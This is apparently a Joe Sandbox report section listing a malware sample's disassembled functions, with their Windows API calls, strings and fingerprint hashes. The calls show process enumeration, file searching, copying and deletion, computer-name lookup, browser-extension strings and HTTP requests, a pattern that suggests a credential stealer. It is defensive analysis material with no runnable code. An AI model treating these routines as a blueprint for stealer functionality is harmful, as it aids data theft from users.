Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9c27286bc05991f95dcb0a842958c85c1d413d66cdd1d39ea3e9820392571790
Instruction ID: 5f4c1d35c63eef114d28e3768794d406fce86780221f22e6841739e55f34d93e
Opcode Fuzzy Hash: 9c27286bc05991f95dcb0a842958c85c1d413d66cdd1d39ea3e9820392571790
Instruction Fuzzy Hash: 8251D271D10108FAEB05FBA4DC9BDED7378AF54300F508528F55667192EF386A19CBA2

Function 00738680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007405B7), ref: 007386CA
Process32First.KERNEL32(?,00000128), ref: 007386DE
Process32Next.KERNEL32(?,00000128), ref: 007386F3

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

CloseHandle.KERNEL32(?), ref: 00738761

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bfcf6e41724367ec1f39f306e92a0241571dca3051071bd3144fabe0335a0823
Instruction ID: d6d0b2fa4fc115b7f4acb47cd88a0667eadce0c94e36f1c504fb9f9f499144c1
Opcode Fuzzy Hash: bfcf6e41724367ec1f39f306e92a0241571dca3051071bd3144fabe0335a0823
Instruction Fuzzy Hash: 03316FB1911218EBDB25DF50CC46FEEB778EB44700F104199F109B21A1DB786A45CFA2

Function 00734F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00734F7A
lstrcatA.KERNEL32(?,00741070), ref: 00734F97
lstrcatA.KERNEL32(?,015FD718), ref: 00734FAB
lstrcatA.KERNEL32(?,00741074), ref: 00734FBD

Part of subcall function 00734910: wsprintfA.USER32 ref: 0073492C
Part of subcall function 00734910: FindFirstFileA.KERNEL32(?,?), ref: 00734943

Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FDC), ref: 00734971
Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FE0), ref: 00734987
Part of subcall function 00734910: FindNextFileA.KERNEL32(000000FF,?), ref: 00734B7D
Part of subcall function 00734910: FindClose.KERNEL32(000000FF), ref: 00734B92

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 66e0d1e769e8fdd1b0806d633a9e46de993ae210712c338569b58d6a4b1bae43
Instruction ID: cacc8a6987c0624bc70a3639450a4e367c7ec44cef9dd70a7fd3c5b7348b1b7d
Opcode Fuzzy Hash: 66e0d1e769e8fdd1b0806d633a9e46de993ae210712c338569b58d6a4b1bae43
Instruction Fuzzy Hash: 6D21CBB6914204A7D754F770EC4AEED333CAB54300F404558F65AA3182EEB9ABC88F93

Function 00736AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,015F14B8,?,0074110C,?,00000000,?,00741110,?,00000000,00740AEF), ref: 00736ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00736AE8
CloseHandle.KERNEL32(00000000), ref: 00736AF9
Sleep.KERNEL32(00001770), ref: 00736B04
CloseHandle.KERNEL32(?,00000000,?,015F14B8,?,0074110C,?,00000000,?,00741110,?,00000000,00740AEF), ref: 00736B1A
ExitProcess.KERNEL32 ref: 00736B22

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 227e89e47db3f2bb09dbbebdd5ecafbe10e3c19a9f5fdffb3ed805fd7a525375
Instruction ID: 8d2b2fa5a2e3859747548f092112a3b77e78e4a57b8b396fa3b4633217218035
Opcode Fuzzy Hash: 227e89e47db3f2bb09dbbebdd5ecafbe10e3c19a9f5fdffb3ed805fd7a525375
Instruction Fuzzy Hash: 67F0DA71944219FAF710ABA0DC1ABBDBA74EB04701F20C519F513A5192DBF85540EA56

Function 00726D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`or, xrefs: 00726E5E, 00726E94, 00726EAF, 00726DAE, 00726DD2

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID:
String ID: `or
API String ID: 0-3958928714
Opcode ID: cb501e4273cec8ff9791cae1266e49b859d1d3a50126726dc7ef973c9fb89c47
Instruction ID: f7c230bd6cfb184c752c471bc41466af78bf34c03b824a42b0feb5915b7f62bb
Opcode Fuzzy Hash: cb501e4273cec8ff9791cae1266e49b859d1d3a50126726dc7ef973c9fb89c47
Instruction Fuzzy Hash: DC61E5B4D00228DBDF14DF94E988BEEB7B0BB04304F10859AE41967281D779AF94DF91

Function 00734BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00734BEA
lstrcatA.KERNEL32(?,01600CE8), ref: 00734C08

Part of subcall function 00734910: wsprintfA.USER32 ref: 0073492C
Part of subcall function 00734910: FindFirstFileA.KERNEL32(?,?), ref: 00734943

Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FDC), ref: 00734971
Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,00740FE0), ref: 00734987
Part of subcall function 00734910: FindNextFileA.KERNEL32(000000FF,?), ref: 00734B7D
Part of subcall function 00734910: FindClose.KERNEL32(000000FF), ref: 00734B92

Part of subcall function 00734910: wsprintfA.USER32 ref: 007349B0
Part of subcall function 00734910: StrCmpCA.SHLWAPI(?,007408D2), ref: 007349C5
Part of subcall function 00734910: wsprintfA.USER32 ref: 007349E2
Part of subcall function 00734910: PathMatchSpecA.SHLWAPI(?,?), ref: 00734A1E
Part of subcall function 00734910: lstrcatA.KERNEL32(?,015FD6E8,?,000003E8), ref: 00734A4A
Part of subcall function 00734910: lstrcatA.KERNEL32(?,00740FF8), ref: 00734A5C
Part of subcall function 00734910: lstrcatA.KERNEL32(?,?), ref: 00734A70
Part of subcall function 00734910: lstrcatA.KERNEL32(?,00740FFC), ref: 00734A82
Part of subcall function 00734910: lstrcatA.KERNEL32(?,?), ref: 00734A96
Part of subcall function 00734910: CopyFileA.KERNEL32(?,?,00000001), ref: 00734AAC
Part of subcall function 00734910: DeleteFileA.KERNEL32(?), ref: 00734B31

Part of subcall function 00734910: wsprintfA.USER32 ref: 00734A07

Strings

Uas, xrefs: 00734C2F, 00734C64, 00734C9A, 00734CCF, 00734D05, 00734D3A, 00734D5F, 00734C32, 00734C67, 00734C9D, 00734CD2, 00734D08, 00734D3D

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: Uas
API String ID: 2104210347-551309097
Opcode ID: 299b6125097646b841699462c683f4b525d63371d48525e7e75c9856a495e3bd
Instruction ID: e29c4161e12743dfffe9632a6cc9371a5d6f68f19abb25748df08916bba74324
Opcode Fuzzy Hash: 299b6125097646b841699462c683f4b525d63371d48525e7e75c9856a495e3bd
Instruction Fuzzy Hash: C141D8B7504104ABD754F7A0EC46EEE333DAB94300F40854CF64567186EEB96B888FD2

Function 007351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 00726280: InternetOpenA.WININET(00740DFE,00000001,00000000,00000000,00000000), ref: 007262E1
Part of subcall function 00726280: StrCmpCA.SHLWAPI(?,015FD838), ref: 00726303
Part of subcall function 00726280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00726335
Part of subcall function 00726280: HttpOpenRequestA.WININET(00000000,GET,?,01601780,00000000,00000000,00400100,00000000), ref: 00726385
Part of subcall function 00726280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007263BF
Part of subcall function 00726280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00735228

Strings

ERROR, xrefs: 0073521A
ERROR, xrefs: 00735273

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 5bdcfe26b5f078fa782b24b62eb1a3e6e48f7d4f4f8f8c1d291858d5865058c7
Instruction ID: 4a75db668b2920e3fcaa11c34951c8efc7a120d84fc9ecfd57ea0c215eaf4885
Opcode Fuzzy Hash: 5bdcfe26b5f078fa782b24b62eb1a3e6e48f7d4f4f8f8c1d291858d5865058c7
Instruction Fuzzy Hash: 9A112171910048F7EB14FF64DD9BAED7378AF50300F808168F84A56593EF386B05C692

Function 00735050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0073508A
lstrcatA.KERNEL32(?,01600320), ref: 007350A8

Part of subcall function 00734910: wsprintfA.USER32 ref: 0073492C
Part of subcall function 00734910: FindFirstFileA.KERNEL32(?,?), ref: 00734943

Strings

as, xrefs: 007350CF, 007350F4, 007350D2

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: as
API String ID: 2699682494-1373368060
Opcode ID: 9f94fd2ddc4218d057645f7c617e77f0e950bda2ea044385f8b6b5ce124bc388
Instruction ID: ec8838042c533bdc5cf6cc7c494c023bdbf63e47a3bede6821db62cf841d1f52
Opcode Fuzzy Hash: 9f94fd2ddc4218d057645f7c617e77f0e950bda2ea044385f8b6b5ce124bc388
Instruction Fuzzy Hash: FC01DB76914208A7D754FB70DC47EEE333CAB54300F004188F68993182EEB8AA888FD3

Function 007378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00736A2B), ref: 00737910
HeapAlloc.KERNEL32(00000000,?,?,?,00736A2B), ref: 00737917
GetComputerNameA.KERNEL32(?,00000104), ref: 0073792F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
